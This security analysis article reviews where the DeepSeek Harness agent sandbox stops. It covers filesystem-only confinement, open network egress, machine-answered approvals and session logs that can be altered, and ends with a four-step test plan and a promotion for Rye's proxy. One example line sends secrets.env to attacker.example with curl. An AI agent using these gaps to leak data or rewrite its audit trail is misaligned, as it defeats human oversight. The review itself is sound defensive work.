Articles

DeepSeek Harness's Sandbox Confines Files, Not Network or Processes

DeepSeek Harness ships a fail-closed filesystem sandbox using bwrap, Landlock, Seatbelt, or Windows ACLs, but its own source and documentation state that network access and process visibility are outside what the sandbox governs.

Agent harnesses increasingly sell two security-adjacent promises: the agent is sandboxed, and every run is traceable. Those words sound like controls. In practice they describe several different mechanisms: filesystem confinement, network policy, process isolation, approval routing, session reconstruction, and forensic log integrity.

DeepSeek Harness is a useful case study because it makes the promises explicit and ships enough source and documentation to inspect the boundary. The product page describes an agent framework where every major part of the product is a plugin: model adapter, tool registry, session log, and agent loop. The same page emphasizes traceability: an append-only session log that records prompts, reasoning, tool calls, tool results, subagent scheduling, and context injection, with resume, fork, search, and replay built on top of the same event stream.

Both claims hold up. The repository backs them with real code, not just a landing page. But "traceable" and "sandboxed" are different properties, and the actual sandbox interface, which DeepSeek ships as open source, shows exactly where its boundary sits and where it does not.

So What

The operational question is not "does this agent have a sandbox?" It is "which boundary does this sandbox enforce?"

That distinction matters because an agent can be confined from writing outside a workspace while still having enough authority to leak the workspace over the network, run long-lived local processes, or rely on an audit log that is excellent for replay but not tamper-evident after compromise. For a security review, those are different controls and need different evidence.

If your policy says "agents may edit this repo but may not exfiltrate source, touch secrets, or hide their actions," a filesystem sandbox is only one slice of the answer. You still need network egress policy, process isolation, approval provenance, and audit records stored outside the agent's own write boundary.

What Runs a Tool Call

DeepSeek Harness is built on Cordis, a plugin framework where plugins contribute services, typed events, and reversible effects to a shared context. The DeepSeek Harness reference presents the model adapter, tool registry, session log, and agent loop as composable pieces mounted into the same tree, and a deployment composes its own stack from a profile (a named set of bundles) plus local patch files.

A tool call moves through a documented execution pipeline before it runs:

exec:txt
model emits tool-call block
  -> tool/call logged to session (before execution)
  -> tools/pre-execute waterfall (hooks, permission checks, sandbox wrap)
  -> registered guards (deny or abstain)
  -> ctx.approval one-shot prompt, if a guard asked for one
  -> tools/execute waterfall (timeout, retry, the tool body itself)
  -> tools/post-execute waterfall (accept, block, replace, add context)
  -> tool/result logged to session

The sandbox enters at tools/pre-execute, through the ctx.sandbox capability service. That is the part worth reading closely, because "sandbox" in this codebase means something narrower than it does in a product like Docker Sandboxes or a Firecracker microVM.

The Sandbox Is Real, and Narrower Than It Sounds

The sandbox reference defines ctx.sandbox around one method: confine(argv, policy). It takes the exact argv a tool is about to spawn and returns a wrapped argv that runs the same command under a file-effect policy. The default implementation, dsh-sandbox-local, is a real, fail-closed, cross-platform confinement layer:

  • Linux: bubblewrap (bwrap) and Landlock.
  • macOS: Seatbelt, via sandbox-exec.
  • Windows: a restricted-token backend enforced through ACLs.

The policy vocabulary is three modes:

ModeWhat it permitsNetwork confinementProcess confinement
read-onlyRequired sinks only, such as /dev/nullNoneNone
workspace-writeThe workspace root and a backend-defined temp areaNoneNone
danger-full-accessEverything; confinement is skipped entirelyN/AN/A

The engineering is careful about failure. If a session requests read-only or workspace-write and no backend is usable on the host, confine() does not fall back to running the command unconfined. It throws SandboxUnavailableError, and the harness refuses the command:

exec:txt
sandbox mode "workspace-write" is requested but no sandbox backend is usable
on this host; refusing to run the command unconfined. Install bubblewrap or
run a Landlock-enforcing kernel (Linux), ensure sandbox-exec is usable
(macOS), or ensure the ACL restricted-token runner can start (Windows).
Otherwise, switch the consumer to danger-full-access.

The docs are also honest about partial enforcement. Enforcement completeness is a reported fact, full or partial, not an assumption. Older Landlock kernel ABIs and the Windows ACL backend's "Everyone / hard-link boundaries" are named as current partial cases, meaning a caller that requires an absolute filesystem boundary on those hosts has to check the reported value rather than trust the mode name.

That is a well-built primitive for what it does. The question is what it does not do.

What ctx.sandbox Does Not Cover

The sandbox subsystem documentation states its scope directly: "SandboxMode governs filesystem effects only." And, more pointedly: "Network and process visibility are outside this vocabulary."

ctx.sandbox scope
File writes only
Network, processes
Explicitly out of scope
danger-full-access
One flag away

That is not a gap the docs hide. It is a design decision, stated plainly, and it has real consequences for what an agent can do even under the strictest confined mode.

The web subsystem exposes a web_fetch tool whose schema takes a single required field: url. There is no domain allowlist in the schema, and nothing in the sandbox or capability service documentation describes a network policy layer that filters where it can go. An agent under workspace-write mode, unable to write outside the project directory, can still call web_fetch against any host on the internet.

The same asymmetry applies to shell execution. dsh-bash-sandbox wraps the same argv through ctx.sandbox, so a blocked file operation surfaces as [sandbox: file access denied under <mode> mode]. There is no equivalent denial for curl attacker.example --data-binary @secrets.env from inside that same sandboxed shell. The filesystem confinement stops the agent from reading files outside the workspace. It does not stop a process inside the workspace from being exfiltrated over the network, because network egress was never part of what this capability service confines.

Process visibility works the same way. The framework's own reference says plainly: "Filesystem and subprocess providers share one execution world, so pointing them at a remote sandbox moves Bash, PTY, and LSP with them." Read the other direction, when the sandbox is the local bwrap/Landlock/Seatbelt provider rather than a remote one, spawned processes still share the local execution world for anything outside the file-effect policy. ctx.sandbox is genuinely swappable, so an operator can plug in a provider backed by containers, a microVM, or remote execution, and the docs say as much. But that is a deployment choice an operator has to make. It is not what ships by default, and it is not what dsh-sandbox-local does.

danger-full-access compounds this. It is one of two permission presets surfaced directly to users (workspace-write / danger-full-access, bundled with an approval-policy knob), which means the fastest path past a permission prompt during a frustrating session is also the path that removes filesystem confinement entirely.

Approval Can Be a Human, or Another Agent

The approval system, ctx.approval, is a genuinely well-designed fail-closed primitive. Every ask produces one of four closed outcomes: allowed-once, rejected, cancelled, unavailable. A missing, throwing, or non-conforming answerer resolves to unavailable, and callers must deny on anything other than allowed-once. There is no ambiguous middle state.

But an "answerer" is not necessarily a person. The docs state it directly: "UI channels may provide human answerers; the ACP automation bridge provides one-shot machine decisions for its own agents." A subagent spawned to delegate work can have its tool calls approved by another piece of automation, not a human watching a terminal. Sessions can also run under a never policy, which deterministically rejects every ask without dispatching any answerer at all, intended for CI and other unattended runs.

None of that is a flaw. Headless approval policies and machine answerers are necessary for any agent framework that wants to run unattended. It does mean that "approval happened" and "a human reviewed this" are not the same audit fact, and a log that only records approval/decided: allowed-once does not tell you which one occurred.

Append-Only Is Not Tamper-Evident

The session subsystem has a central invariant that is real and worth taking seriously: "Model-visible means logged." Anything that reaches a model request must be reconstructable from the log, and the framework asserts this as a runtime invariant, not a convention. deriveMessages() projects the model's context from the log rather than from a separately maintained history, so there is no code path where the model sees something the log does not contain.

That is a strong property for debugging, replay, and understanding what the model saw at each step. It is a different property from tamper resistance. "Append-only" here describes the application's write pattern: the session object only appends events, and history is derived by replaying them. It does not describe a storage guarantee like a write-once filesystem or a cryptographically chained log. The log is data the harness process itself manages, on a backend the operator configures. A process with filesystem access, or the harness process itself if it were compromised via a supply-chain issue or a sufficiently capable prompt injection, is not stopped by an application-level append-only invariant from rewriting the persisted file after the fact.

That distinction matters for incident response specifically. A log that reliably reconstructs "what the model was shown" is genuinely useful for debugging a bad output. A log you can present as evidence that a specific sequence of events occurred, and was not altered afterward, needs a different guarantee: signing, write-once storage, or replication to a store the agent process cannot reach.

What This Means If You Run It Today

Do not treat workspace-write as a network boundary. It is not one, by the framework's own definition of the mode vocabulary.
Check the SandboxEnforcement value your platform reports, not just the mode name. Windows ACL enforcement is documented as partial for ambient ACL gaps.
Audit which sessions run under the danger-full-access preset, and why. It bypasses the one confinement layer the harness ships by default.
Do not assume every approval/decided: allowed-once event in the log represents a human decision. The ACP bridge can answer for its own agents.
If you need tamper-evident records for incident response, store them somewhere the harness process cannot write to after the fact. The session log's append-only property is an application invariant, not a storage guarantee.

How to Test the Boundary

The most useful next step is not another reading pass. It is a small adversarial harness run in an environment you can throw away.

Build the test around four checks:

  1. Filesystem confinement. Create one secret inside the workspace and one outside it. Run the same read, write, symlink, and hard-link probes under read-only, workspace-write, and danger-full-access. Record which backend reports full versus partial.
  2. Network egress. Run a local HTTP listener or controlled request bin, then ask the agent to fetch arbitrary domains and to send workspace content out through web_fetch, curl, node, and python. The expected finding is not "it exfiltrates" in the exploit sense; it is that network policy is not enforced by the filesystem sandbox.
  3. Approval provenance. Trigger a command that requires approval under an interactive UI, then repeat through an automation path if available. Compare the session events. The question is whether the audit record distinguishes a human decision from a machine answerer.
  4. Log integrity. Compare the harness session log to an external file watcher, shell history, process monitor, and packet capture. Then alter or delete the harness-managed log from outside the application and check whether any tamper evidence remains.

A defensible benchmark would publish the exact host OS, kernel version, sandbox backend, DeepSeek Harness commit SHA, permission preset, approval policy, and network topology. Without those details, "sandboxed" is too broad to mean much.

Where External Supervision Still Fits

None of this is a case against DeepSeek Harness's design. The plugin architecture is coherent, the sandbox fails closed instead of silently degrading, and the project is direct about where enforcement is partial rather than full. That candor is more than most agent tooling offers.

It is also exactly why the network-egress and tamper-evidence gaps are worth naming precisely instead of gesturing at "agents are risky." A file-effect sandbox and a network policy are different mechanisms, built for different threats, and a framework that solves the first well has not touched the second by accident of scope, not by oversight.

Rye's proxy sits outside the harness entirely and intercepts HTTPS traffic to configured LLM API domains, independent of whatever sandbox mode a given session is running under. It does not watch arbitrary curl calls a tool makes to unrelated hosts, that is a general network-egress problem that needs an OS-level firewall or network namespace, not an LLM traffic proxy. What Rye's wrapper does add is telemetry that lives outside the harness process: file-change events from watching the workspace directly, and session start and end records written by a separate process. If the harness's own session log were incomplete or altered, that external record does not depend on the harness having logged the event correctly in the first place.

That is the actual shape of the problem. A framework's internal audit log is a statement about what the framework saw. Whether that statement can be trusted after an incident is a question the framework's own architecture cannot fully answer, no matter how careful the plugin that writes it is.